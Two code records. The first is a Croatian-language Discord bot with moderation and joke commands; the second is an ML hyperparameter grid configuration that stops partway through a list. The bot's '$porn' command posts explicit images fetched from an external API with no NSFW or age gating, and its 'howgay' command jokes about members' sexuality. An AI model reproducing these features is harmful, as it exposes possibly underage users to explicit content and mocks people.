+{"seq_id":"4449988462","text":"import datetime\nimport json\nimport os\nimport urllib.request\n\nimport discord\nfrom colorama import Fore\nfrom discord.ext import commands\nfrom discord.ext.commands import CommandNotFound\nfrom numpy import random\nimport host\n\n\nINFO = Fore.BLUE + \"[\" + Fore.YELLOW + \"INFO\" + Fore.BLUE + \"] \" + Fore.WHITE\nERROR = Fore.BLUE + \"[\" + Fore.YELLOW + \"ERROR\" + Fore.BLUE + \"] \" + Fore.RED\nWARNING = Fore.BLUE + \"[\" + Fore.YELLOW + \"WARNING\" + Fore.BLUE + \"] \" + Fore.YELLOW\n\n\nintents = discord.Intents.default()\nintents.members = True\nintents.presences = True\nclient = commands.Bot(command_prefix=\"$\", intents=intents)\nclient.remove_command('help')\ntest_mute = []\n\n\n@client.event\nasync def on_ready():\n    print(\"\"\"\n     _  __         _                              _       _     _     ____            _   \n    | |/ /  _ __  | | __   __ _   _ __     ___   (_)   __| |   | |   | __ )    ___   | |_ \n    | ' /  | '__| | |/ /  / _` | | '_ \\   / _ \\  | |  / _` |   | |   |  _ \\   / _ \\  | __|\n    | . \\  | |    |   <  | (_| | | | | | | (_) | | | | (_| |   | |   | |_) | | (_) | | |_ \n    |_|\\_\\ |_|    |_|\\_\\  \\__,_| |_| |_|  \\___/  |_|  \\__,_|   | |   |____/   \\___/   \\__|\n                                                               |_|                        \n\n\n    █░░ █▀█ █▀▀ █▀█ █░█ █\n    █▄▄ █▄█ █▄█ █▄█ ▀▄▀ █\n\n    \n    \"\"\")\n    print(INFO + 'Bot je uspješno pokrenut!')\n    await client.change_presence(activity=discord.Game(name=\"$help\"))\n    # channel = client.get_channel(832706842798850098)\n    # await channel.send(\"\")\n\n\n@client.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, commands.MissingRequiredArgument):\n        await ctx.send('**Nešto si pogrešno napravio :rolling_eyes:.**')\n        print(ERROR + f'Korisnik je nešto pogrešno napisao.')\n    if isinstance(error, commands.MissingPermissions):\n        await ctx.send(\"**Nemaš dozvolu za tu komandu. :angry:**\")\n        print(ERROR + f'Korisnik nema permisiju za tu komandu.')\n    if isinstance(error, CommandNotFound):\n        await ctx.send(\"**Komanda koju si sazvao ne postoji :sweat_smile:**\")\n        print(ERROR + f'Korisnik je sazvao komandu koja ne postoji.')\n\n\n@client.event\nasync def on_member_join(member):\n    channel = client.get_channel(793514424844419083)\n    embed = discord.Embed(\n        colour=discord.Colour.purple()\n    )\n\n    embed.add_field(name=\"Dobrodošao\", value=f':tada: {member.name} je ušao na naš Server!')\n    role = discord.utils.get(member.guild.roles, name='「💥」Korisnik')\n    if member.name in test_mute:\n        role.append(\"test\")\n        await member.add_roles(role)\n    else:\n        await member.add_roles(role)\n\n    print(INFO + f\"{member.name} je ušao na Aliens Server.\")\n    await channel.send(embed=embed)\n\n\n@client.event\nasync def on_member_remove(member):\n    channel = client.get_channel(850335470863777855)\n    embed = discord.Embed(\n        colour=discord.Colour.red()\n    )\n\n    embed.add_field(name=\"Doviđenja\", value=f':boom: {member.name} je izašao sa našeg Servera!')\n    if \"test\" in member.roles:\n        test_mute.append(member.name)\n\n    print(INFO + f'{member.name} je izašao sa Servera.')\n    await channel.send(embed=embed)\n\n\n#@client.event\n#async def on_message(ctx, message):\n#    if \"discord.gg\" in message.content.lower():\n#        await message.delete()\n#        await message.channel.send(f\"**{message.author.name}** nemoj više slati pozivnice za Servere! :angry:\")\n#        print(WARNING + f\"{message.author.name} je poslao pozivnicu za Server.\")\n#    else:\n#        await ctx.process_message(message)\n\n\n@client.command()\nasync def invites(ctx):\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Invites\",\n        colour=discord.Colour.green()\n    )\n\n    total_invites = 0\n    for i in await ctx.guild.invites():\n        if i.inviter == ctx.author:\n            total_invites += i.uses\n\n    embed.add_field(name=\"Invites\",\n                    value=f\":fire: Pozvao si {total_invites} {'' if total_invites == 1 else 's'} membera na server!\")\n    print(INFO + f'{ctx.message.author.name} je pozvao {total_invites} korisnika na server.')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def bestija(ctx):\n    lines = open('./text/bestija.txt').read().splitlines()\n    ran = random.choice(lines)\n    embed = discord.Embed(\n        colour=discord.Colour.blue()\n    )\n    \n    embed.add_field(name=\"KrkanoidBot - Beštija\", value=f'_ _')\n    embed.set_image(url=f'{ran}')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"bestija\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def penis(ctx, member: discord.Member):\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Penis\",\n        colour=discord.Colour.red()\n    )\n\n    ln = open('./text/ps.txt').read().splitlines()\n    velicina = random.choice(ln)\n\n    embed.add_field(name=f\"{member.name} penis: \", value=velicina, inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"penis\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def poen(ctx):\n    velicina = random.randint(0,2000)\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Poeni\",\n        colour=discord.Colour.red()\n    )\n\n    x = datetime.datetime.now()\n    y = x.strftime(\"%H\" + \":\" + \"%M\")\n    embed.add_field(name='Dobitak', value=f\"||‎‎     {velicina} XP-a      ||\", inline=True)\n    embed.add_field(name='Rank', value=f\"Početnik\", inline=True)\n    embed.add_field(name='Vrijeme', value=f'{y}', inline=True)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\", icon_url=ctx.author.avatar_url)\n    print(INFO + f\"{ctx.message.author.name} je osvojio {velicina}XP-a.\")\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def add(ctx):\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Add Bot\",\n        color=discord.Colour.dark_teal()\n    )\n    embed.add_field(name='Pozovite KrkanoidBota na vaš server',\n                    value='[KrkanoidBot](https://discord.com/oauth2/authorize?client_id=813861302774399046&scope=bot&permissions=-1)',\n                    inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\", icon_url=ctx.author.avatar_url)\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"add\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def porn(ctx):\n    embed = discord.Embed(\n        color=0xFF00E3\n    )\n    link = \"https://nekobot.xyz/api/image?type=pgif\"\n    podaci = urllib.request.urlopen(link).read().decode()\n    obj = json.loads(podaci)\n    embed.add_field(name=\"KrkanoidBot - Porn\", value=\"_ _\")\n    embed.set_image(url=obj['message'])\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\", icon_url=ctx.author.avatar_url)\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"porn\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def howgay(ctx, member: discord.Member):\n    velicina = random.randint(0,100)\n    embed = discord.Embed(\n        color=0xFF00F7\n    )\n\n    embed.add_field(name=f'KrkanoidBot - HowGay', value=f\"{member.name} je {velicina}% gay.\", inline=True)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\", icon_url=ctx.author.avatar_url)\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"howgay\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def help(ctx):\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Komande\",\n        colour=discord.Colour.green()\n    )\n    \" \"\n    a1 = \"\"\"\n    $poen\n    $penis @user\n    $avatar @user\n    $dinamo @user\n    $hajduk @user\n    $bestija @user\n    $info @user\n    \"\"\"\n\n    a2 = \"\"\"\n    $ban @user\n    $kick @user\n    $mute @user\n    $unmute @user\n    $clear 10\n    $warn @user reason\n    $ping @user\n    \"\"\"\n\n    a3 = \"\"\"\n    $komande\n    $join\n    $leave\n    $members\n    $servers\n    $invites\n    $add\n    \"\"\"\n    embed.add_field(name=f':tada: Zabava_                    _', value=a1, inline=True)\n    embed.add_field(name=':fire: Staff_                          _', value=a2, inline=True)\n    embed.add_field(name=':zap: Korisnici_                   _', value=a3, inline=True)\n    embed.set_image(url='https://cdn.discordapp.com/attachments/815156505585516565/843518561149648906/line.gif')\n\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\", icon_url=ctx.author.avatar_url)\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"help\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def hajduk(ctx, member: discord.Member):\n    embed = discord.Embed(\n        title=\":white_heart: Hajduk\",\n        colour=discord.Colour.blue()\n    )\n\n    embed.add_field(name=\"Torcida\", value=f'{member.name} je Hajdukovac!')\n    embed.set_image(\n        url='https://media.discordapp.net/attachments/815156505585516565/815590237761699891/HNK_Hajduk_Split.png')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"hajduk\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def dinamo(ctx, member: discord.Member):\n    embed = discord.Embed(\n        title=\":blue_heart: Dinamo\",\n        colour=discord.Colour.blue()\n    )\n\n    embed.add_field(name=\"Bad Blue Boys\", value=f'{member.name} je Dinamovac.')\n    embed.set_image(\n        url='https://media.discordapp.net/attachments/793516467147767808/851535552234389534/9a811af3c03be5bfd31c14349e2640a2.png?width=670&height=670')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"dinamo\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def avatar(ctx, *, member: discord.Member = None):\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Avatar\",\n        color=0x3BFF00\n    )\n\n    if not member:\n        member = ctx.message.author\n    user_avatar = member.avatar_url\n\n    embed.add_field(name=f'{member.name} avatar', value='_ _')\n    embed.set_image(url=f'{user_avatar}')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"avatar\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def ping(ctx, member: discord.Member):\n    embed = discord.Embed(\n        colour=discord.Colour.green()\n    )\n\n    embed.add_field(name=\"Speed Test\", value=f':fire: {member.name} ping je  **{round(client.latency * 1000)} ms**')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"ping\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def info(ctx, member: discord.Member):\n    embed = discord.Embed(\n        colour=discord.Colour.blue(),\n        title=\"Informacije\"\n    )\n\n    embed.add_field(name=\":fire: Username\", value=f'{member.name}', inline=False)\n    embed.add_field(name=\":boom: User ID\", value=f'{member.id}', inline=False)\n    embed.add_field(name=\":zap: Nick\", value=f'{member.nick}', inline=False)\n    embed.add_field(name=\":alien: Status\", value=f'{member.status}', inline=False)\n    embed.add_field(name=\":star: Discriminator\", value=f'{member.discriminator}', inline=False)\n    embed.add_field(name=\":ringed_planet: Joined\", value=f'{member.joined_at}', inline=False)\n    embed.add_field(name=\":rocket: Created\", value=f'{member.created_at}', inline=False)\n    embed.add_field(name=\":hammer: Roles\", value=f'{member.top_role}', inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"info\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def members(ctx):\n    embed = discord.Embed(\n        title=f':alien: KrkanoidBot - Members',\n        color=0xFE01E3\n    )\n    online_memberi = sum(member.status != discord.Status.offline and not member.bot for member in ctx.guild.members)\n\n    embed.add_field(name=f\":purple_circle:  Broj korisnika -> {ctx.guild.member_count}\",\n                    value=f\"**:green_circle: Online korisnici -> {online_memberi}**\", inline=True)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"members\".')\n    await ctx.send(embed=embed)\n\n\n@client.command()\nasync def servers(ctx):\n    broj_servera = len(client.guilds)\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Servers\",\n        color=discord.Colour.blue()\n    )\n    embed.add_field(name=\"Serveri\", value='Bot je aktivan na **{0}** servera!'.format(broj_servera))\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    print(INFO + f'{ctx.message.author.name} je sazvao komandu \"servers\".')\n    await ctx.send(embed=embed)\n\n\n###############################################\n#                                             #\n#                 STAFF KOMANDE               #\n#                                             #\n###############################################\n\n\n@client.command()\n@commands.has_any_role(\"Krkanoid\", \"Bot\", \"「👽」HEAD OWNER\", \"「👑」Kaiyo\", \"「👑」Owner\", \"「💉」Co-Owner\", \"「🔧」Admin\")\nasync def clear(ctx, amount=2):\n    embed = discord.Embed(\n        title=\":alien: KrkanoidBot - Clear\",\n        colour=discord.Colour.gold()\n    )\n    if commands.has_permissions(manage_messages=True):\n        await ctx.channel.purge(limit=amount)\n\n        embed.add_field(name=f\"Obrisno -> {amount} poruka \", value=\"***Poruke su izbrisane :D***\", inline=True)\n        embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n        print(WARNING + f\"{ctx.message.author.name} je obrisao {amount} poruke.\")\n        await ctx.send(embed=embed)\n        return\n    else:\n        embed.add_field(name=f\":fire: Upozorenje\", value=\"***Nemaš dozvolu za tu komandu.***\", inline=True)\n        embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n        await ctx.send(embed=embed)\n\n\n@client.command()\n@commands.has_permissions(ban_members=True)\nasync def ban(ctx, member: discord.Member, *, reason=None):\n    vrijeme_bana = \"24 sata\"\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Ban\",\n        colour=discord.Colour.purple()\n    )\n\n    x = datetime.datetime.now()\n    y = x.strftime(\"%H\" + \":\" + \"%M\")\n    embed.add_field(name=f\"**Banan ->** ***{member.name}***\", value=f'**Vrijeme ->** ***{y}***', inline=False)\n    embed.add_field(name=f'**Razlog ->** ***{reason}***', value=f\"**Trajnost -> ** ***{vrijeme_bana}***\", inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    embed.set_thumbnail(url=ctx.author.avatar_url)\n    print(WARNING + f'{ctx.message.author.name} je banao {member.name} sa Servera.')\n    await ctx.send(embed=embed)\n    await member.ban(reason=reason)\n\n\n@client.command()\nasync def warn(ctx, member: discord.Member, *, arg):\n    f = open(\"upozorenja.txt\", \"a\")\n    f.write(f\"{member.name} ----> \" + arg + \"\\n\")\n    f.close()\n\n    await ctx.send(f\"**{member.name}** nemoj više raditi loše stvari :rage:.\")\n    print(WARNING + f\"{member.name} radi probleme na serveru.\")\n\n\n@client.command()\n@commands.has_permissions(kick_members=True)\nasync def kick(ctx, member: discord.Member, *, reason=None):\n    \"\"\"24 sata\"\"\"\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Kick\",\n        colour=discord.Colour.purple()\n    )\n\n    x = datetime.datetime.now()\n    y = x.strftime(\"%H\" + \":\" + \"%M\")\n    embed.add_field(name=f\"**Kickan ->** ***{member.name}***\", value=f'**Vrijeme ->** ***{y}***', inline=False)\n    embed.add_field(name=f'**Razlog ->** ***{reason}***', value=f\"**Trajnost -> ** ***Može odma ući.***\", inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    embed.set_thumbnail(url=ctx.author.avatar_url)\n    print(WARNING + f'{ctx.message.author.name} je kickao {member.name} sa Servera.')\n    await ctx.send(embed=embed)\n    await member.kick(reason=reason)\n\n\n@client.command()\n@commands.has_permissions(mute_members=True)\nasync def mute(ctx, member: discord.Member, *, reason=None):\n    guild = ctx.guild\n    muted_role = discord.utils.get(guild.roles, name=\"Mutavac\")\n    \"24 sata\"\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Mute\",\n        color=0xFF3232\n    )\n\n    x = datetime.datetime.now()\n    y = x.strftime(\"%H\" + \":\" + \"%M\")\n    embed.add_field(name=f\"**Mjutan ->** ***{member.name}***\", value=f'**Vrijeme ->** ***{y}***', inline=False)\n    embed.add_field(name=f'**Razlog ->** ***{reason}***', value=f\"**Trajnost -> ** ***24h***\", inline=False)\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n    embed.set_thumbnail(url=ctx.author.avatar_url)\n\n    if not muted_role:\n        muted_role = await guild.create_role(name=\"Mutavac\")\n\n    for channel in guild.channels:\n        await channel.set_permissions(muted_role, speak=False, send_messages=False, read_message_history=True,\n                                      read_messages=False)\n\n    print(WARNING + f'{ctx.message.author.name} je mjutao {member.name}.')\n    await member.add_roles(muted_role, reason=reason)\n    await ctx.send(embed=embed)\n\n\n@client.command()\n@commands.has_permissions(manage_messages=True)\nasync def unmute(ctx, member: discord.Member):\n    muted_role = discord.utils.get(ctx.guild.roles, name=\"Mutavac\")\n    embed = discord.Embed(\n        title=\"KrkanoidBot - Unmute\",\n        color=0x4FFE01\n    )\n    embed.add_field(name=\"Unmute\", value=f':white_check_mark: {member.name} je dobio unmute!')\n    embed.set_footer(text=\"KrkanoidBot - Made by Krkan#9999\")\n\n    await member.remove_roles(muted_role)\n    print(f'[INFO] {member.name} je dobio unmute.')\n    print(WARNING + f'{ctx.message.author.name} je unmjutao {member.name}.')\n    await ctx.send(embed=embed)\n\n\ntoken = os.environ['token']\nhost.keep_alive()\nclient.run(token)\n","repo_name":"ugrijaniStr/KrkanoidBot","sub_path":"krkanoid.py","file_name":"krkanoid.py","file_ext":"py","file_size_in_byte":17920,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"32130984227","text":"# Estimators\n# Linear models\n\nimport optuna\n\n# Gradient boosting frameworks\nfrom catboost import CatBoostClassifier, CatBoostRegressor\n\n# Imbalanced-learn ensemble\nfrom imblearn.ensemble import BalancedRandomForestClassifier\nfrom lightgbm import LGBMClassifier, LGBMRegressor\nfrom ray import air, tune\nfrom ray.air import session\n\n# Ensemble methods\nfrom sklearn.ensemble import (\n    AdaBoostClassifier,\n    AdaBoostRegressor,\n    ExtraTreesClassifier,\n    ExtraTreesRegressor,\n    GradientBoostingClassifier,\n    GradientBoostingRegressor,\n    RandomForestClassifier,\n    RandomForestRegressor,\n)\nfrom sklearn.linear_model import (\n    ElasticNet,\n    Lasso,\n    LinearRegression,\n    LogisticRegression,\n    Ridge,\n    SGDRegressor,\n)\n\n# Other classifiers and regressors\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor\nfrom sklearn.neural_network import MLPClassifier, MLPRegressor\nfrom sklearn.svm import SVC, SVR, LinearSVR\nfrom sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor\nfrom xgboost import XGBClassifier, XGBRegressor\n\n# for gridsearchcv, randomsearchcv\n# Define hyperparameters for each model\nlr_params = {\"penalty\": [\"l2\"], \"C\": [0.001, 0.01, 0.1, 1, 10, 100]}\nrf_params = {\"n_estimators\": [50, 100, 200], \"max_depth\": [None, 10, 20]}\nxgb_params = {\n    \"n_estimators\": [50, 100, 200],\n    \"max_depth\": [6, 10, 15],\n    \"learning_rate\": [0.001, 0.01, 0.1],\n}\ncb_params = {\n    \"iterations\": [50, 100, 200],\n    \"depth\": [4, 6, 8],\n    \"learning_rate\": [0.001, 0.01, 0.1],\n}\nlgbm_params = {\n    \"n_estimators\": [50, 100, 200],\n    \"max_depth\": [-1, 10, 20],\n    \"learning_rate\": [0.001, 0.01, 0.1],\n}\nbrf_params = {\"n_estimators\": [50, 100, 200], \"max_depth\": [None, 10, 20]}\nmlp_params = {\n    \"hidden_layer_sizes\": [(50,), (100,)],\n    \"activation\": [\"relu\", \"tanh\", \"logistic\"],\n}\ngbc_params = {\n    \"n_estimators\": [50, 100, 200],\n    \"learning_rate\": [0.001, 0.01, 0.1],\n    \"max_depth\": [3, 5, 10],\n}\nabc_params = {\"n_estimators\": [50, 100, 200], \"learning_rate\": [0.001, 0.01, 0.1]}\nsvc_params = {\"C\": [0.1, 1, 10], \"gamma\": [0.001, 0.01, 0.1]}\nknn_params = {\"n_neighbors\": [3, 5, 7], \"weights\": [\"uniform\", \"distance\"]}\ndtc_params = {\"criterion\": [\"gini\", \"entropy\"], \"max_depth\": [None, 5, 10]}\netc_params = {\"n_estimators\": [50, 100, 200], \"max_depth\": [None, 5, 10]}\ngnb_params = {}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_clfs = [\n    (LogisticRegression, lr_params),\n    (RandomForestClassifier, rf_params),\n    (XGBClassifier, xgb_params),\n    (CatBoostClassifier, cb_params),\n    (LGBMClassifier, lgbm_params),\n    (BalancedRandomForestClassifier, brf_params),\n    (MLPClassifier, mlp_params),\n    (GradientBoostingClassifier, gbc_params),\n    (AdaBoostClassifier, abc_params),\n    #                     (SVC, svc_params),\n    #                     (KNeighborsClassifier, knn_params),\n    #                     (DecisionTreeClassifier, dtc_params),\n    #                     (ExtraTreesClassifier, etc_params),\n    #                     (GaussianNB, gnb_params)\n]\n\n# Define hyperparameters for each model\nlr_params_reg = {\"fit_intercept\": [True, False]}\nridge_params_reg = {\"alpha\": [0.5, 1.0]}\nlasso_params_reg = {\"alpha\": [0.5, 1.0]}\nelastic_params_reg = {\"alpha\": [0.5, 1.0], \"l1_ratio\": [0.5, 0.7]}\nxgb_params_reg = {\"max_depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\nlgbm_params_reg = {\"max_depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\ncb_params_reg = {\"depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\nsvr_params_reg = {\"kernel\": [\"linear\", \"poly\", \"rbf\", \"sigmoid\"], \"C\": [0.5, 1.0]}\nlsvr_params_reg = {\"C\": [0.5, 1.0]}\nknr_params_reg = {\n    \"n_neighbors\": [\n        5,\n        7,\n        10,\n        15,\n        20,\n    ],  # Increasing the number of neighbors can help in making the model more generalized.\n    \"weights\": [\n        \"uniform\",\n        \"distance\",\n    ],  # The 'distance' option can give more importance to closer instances, which may help reduce overfitting.\n    \"algorithm\": [\n        \"auto\",\n        \"ball_tree\",\n        \"kd_tree\",\n        \"brute\",\n    ],  # The algorithm used to compute the nearest neighbors can sometimes have an effect on overfitting, but it generally depends more on the dataset.\n    \"p\": [\n        1,\n        2,\n    ],  # This corresponds to the power parameter for the Minkowski metric. 1 is for manhattan_distance and 2 for euclidean_distance.\n}\ndtr_params_reg = {\n    \"max_depth\": [None, 5, 10, 15, 20],\n    \"min_samples_split\": [1, 2, 5, 10],\n    \"min_samples_leaf\": [1, 2, 5, 10],\n    \"max_features\": [None, \"auto\", \"sqrt\", \"log2\"],\n    \"max_leaf_nodes\": [None, 10, 20, 30, 40],\n}\nrfr_params_reg = {\"n_estimators\": [50, 100, 200], \"max_depth\": [None, 10, 20]}\ngbr_params_reg = {\n    \"n_estimators\": [50, 100, 200],\n    \"max_depth\": [3, 5, 10],\n    \"learning_rate\": [0.001, 0.01, 0.1],\n}\netr_params_reg = {\"n_estimators\": [50, 100, 200], \"max_depth\": [None, 10, 20]}\nabr_params_reg = {\"n_estimators\": [50, 100, 200], \"learning_rate\": [0.001, 0.01, 0.1]}\nmlpr_params_reg = {\"hidden_layer_sizes\": [(100,)], \"activation\": [\"relu\", \"tanh\"]}\nsgr_params_reg = {\n    \"loss\": [\"squared_loss\", \"huber\", \"epsilon_insensitive\"],\n    \"penalty\": [\"l2\", \"l1\", \"elasticnet\"],\n    \"alpha\": [0.0001, 0.001, 0.01],\n}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_regs = [\n    (LinearRegression, lr_params_reg),\n    (Ridge, ridge_params_reg),\n    (Lasso, lasso_params_reg),\n    (ElasticNet, elastic_params_reg),\n    (XGBRegressor, xgb_params_reg),\n    (LGBMRegressor, lgbm_params_reg),\n    (CatBoostRegressor, cb_params_reg),\n    # (SVR, svr_params_reg),\n    (LinearSVR, lsvr_params_reg),\n    # TODO overfit\n    # (KNeighborsRegressor, knr_params_reg),\n    # TODO overfit\n    # (DecisionTreeRegressor, dtr_params_reg),\n    (RandomForestRegressor, rfr_params_reg),\n    (GradientBoostingRegressor, gbr_params_reg),\n    # (ExtraTreesRegressor, etr_params_reg),\n    (AdaBoostRegressor, abr_params_reg),\n    # TODO underfit\n    # (MLPRegressor, mlpr_params_reg),\n    # (SGDRegressor, sgr_params_reg)\n]\n\n\n# Define hyperparameters for each model\nlr_params_clf_optuna_search = {\"penalty\": [\"l2\"], \"C\": [0.001, 100.0]}\nrf_params_clf_optuna_search = {\"n_estimators\": [50, 200], \"max_depth\": [10, 20]}\nxgb_params_clf_optuna_search = {\n    \"n_estimators\": [50, 200],\n    \"max_depth\": [10, 15],\n    \"learning_rate\": [0.001, 0.1],\n}\ncb_params_clf_optuna_search = {\n    \"iterations\": [50, 200],\n    \"depth\": [4, 8],\n    \"learning_rate\": [0.001, 0.1],\n}\nlgbm_params_clf_optuna_search = {\n    \"n_estimators\": [50, 200],\n    \"max_depth\": [10, 20],\n    \"learning_rate\": [0.001, 0.1],\n}\nbrf_params_clf_optuna_search = {\"n_estimators\": [50, 200], \"max_depth\": [10, 20]}\nmlp_params_clf_optuna_search = {\n    \"hidden_layer_sizes\": [(50,), (100,)],\n    \"activation\": [\"relu\", \"tanh\", \"logistic\"],\n}\ngbc_params_clf_optuna_search = {\n    \"n_estimators\": [50, 200],\n    \"learning_rate\": [0.001, 0.1],\n    \"max_depth\": [3, 10],\n}\nabc_params_clf_optuna_search = {\n    \"n_estimators\": [50, 200],\n    \"learning_rate\": [0.001, 0.1],\n}\nsvc_params_clf_optuna_search = {\"C\": [0.1, 10.0], \"gamma\": [0.001, 0.1]}\nknn_params_clf_optuna_search = {\n    \"n_neighbors\": [3, 7],\n    \"weights\": [\"uniform\", \"distance\"],\n}\ndtc_params_clf_optuna_search = {\"criterion\": [\"gini\", \"entropy\"], \"max_depth\": [5, 10]}\netc_params_clf_optuna_search = {\"n_estimators\": [50, 200], \"max_depth\": [5, 10]}\n\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_optuna_clfs = [\n    (LogisticRegression, lr_params_clf_optuna_search),\n    (RandomForestClassifier, rf_params_clf_optuna_search),\n    (XGBClassifier, xgb_params_clf_optuna_search),\n    (CatBoostClassifier, cb_params_clf_optuna_search),\n    (LGBMClassifier, lgbm_params_clf_optuna_search),\n    (BalancedRandomForestClassifier, brf_params_clf_optuna_search),\n    (GradientBoostingClassifier, gbc_params_clf_optuna_search),\n    (AdaBoostClassifier, abc_params_clf_optuna_search),\n    # (SVC, svc_params_clf_optuna_search),\n    # (KNeighborsClassifier, knn_params_clf_optuna_search),\n    # (DecisionTreeClassifier, dtc_params_clf_optuna_search),\n    # (ExtraTreesClassifier, etc_params_clf_optuna_search),\n]\n\n\n# Define hyperparameters for each model\nlr_params_reg_optuna_search = {\"fit_intercept\": [True, False]}\nridge_params_reg_optuna_search = {\"alpha\": [0.5, 1.0]}\nlasso_params_reg_optuna_search = {\"alpha\": [0.5, 1.0]}\nelastic_params_reg_optuna_search = {\"alpha\": [0.5, 1.0], \"l1_ratio\": [0.5, 0.7]}\nxgb_params_reg_optuna_search = {\"max_depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\nlgbm_params_reg_optuna_search = {\"max_depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\ncb_params_reg_optuna_search = {\"depth\": [3, 5], \"learning_rate\": [0.01, 0.1]}\nsvr_params_reg_optuna_search = {\n    \"kernel\": [\"linear\", \"poly\", \"rbf\", \"sigmoid\"],\n    \"C\": [0.5, 1.0],\n}\nlsvr_params_reg_optuna_search = {\"C\": [0.5, 1.0]}\nknr_params_reg_optuna_search = {\n    \"n_neighbors\": [\n        5,\n        7,\n        10,\n        15,\n        20,\n    ],  # Increasing the number of neighbors can help in making the model more generalized.\n    \"weights\": [\n        \"uniform\",\n        \"distance\",\n    ],  # The 'distance' option can give more importance to closer instances, which may help reduce overfitting.\n    \"algorithm\": [\n        \"auto\",\n        \"ball_tree\",\n        \"kd_tree\",\n        \"brute\",\n    ],  # The algorithm used to compute the nearest neighbors can sometimes have an effect on overfitting, but it generally depends more on the dataset.\n    \"p\": [\n        1,\n        2,\n    ],  # This corresponds to the power parameter for the Minkowski metric. 1 is for manhattan_distance and 2 for euclidean_distance.\n}\ndtr_params_reg_optuna_search = {\n    \"max_depth\": [5, 10],\n    \"min_samples_split\": [3, 5],\n    \"min_samples_leaf\": [2, 3],\n}\nrfr_params_reg_optuna_search = {\"n_estimators\": [50, 200], \"max_depth\": [10, 20]}\ngbr_params_reg_optuna_search = {\n    \"n_estimators\": [50, 200],\n    \"max_depth\": [3, 10],\n    \"learning_rate\": [0.01, 0.1],\n}\netr_params_reg_optuna_search = {\"n_estimators\": [50, 200], \"max_depth\": [10, 20]}\nabr_params_reg_optuna_search = {\"n_estimators\": [50, 200], \"learning_rate\": [0.01, 0.1]}\nmlpr_params_reg_optuna_search = {\n    \"hidden_layer_sizes\": [(100,)],\n    \"activation\": [\"relu\", \"tanh\"],\n}\nsgr_params_reg_optuna_search = {\n    \"loss\": [\"huber\", \"epsilon_insensitive\"],\n    \"penalty\": [\"l2\", \"l1\", \"elasticnet\"],\n    \"alpha\": [0.001, 0.01],\n}\n\n# Put models and hyperparameters into a list of tuples\nestimators_params_optuna_regs = [\n    (LinearRegression, lr_params_reg_optuna_search),\n    (Ridge, ridge_params_reg_optuna_search),\n    (Lasso, lasso_params_reg_optuna_search),\n    (ElasticNet, 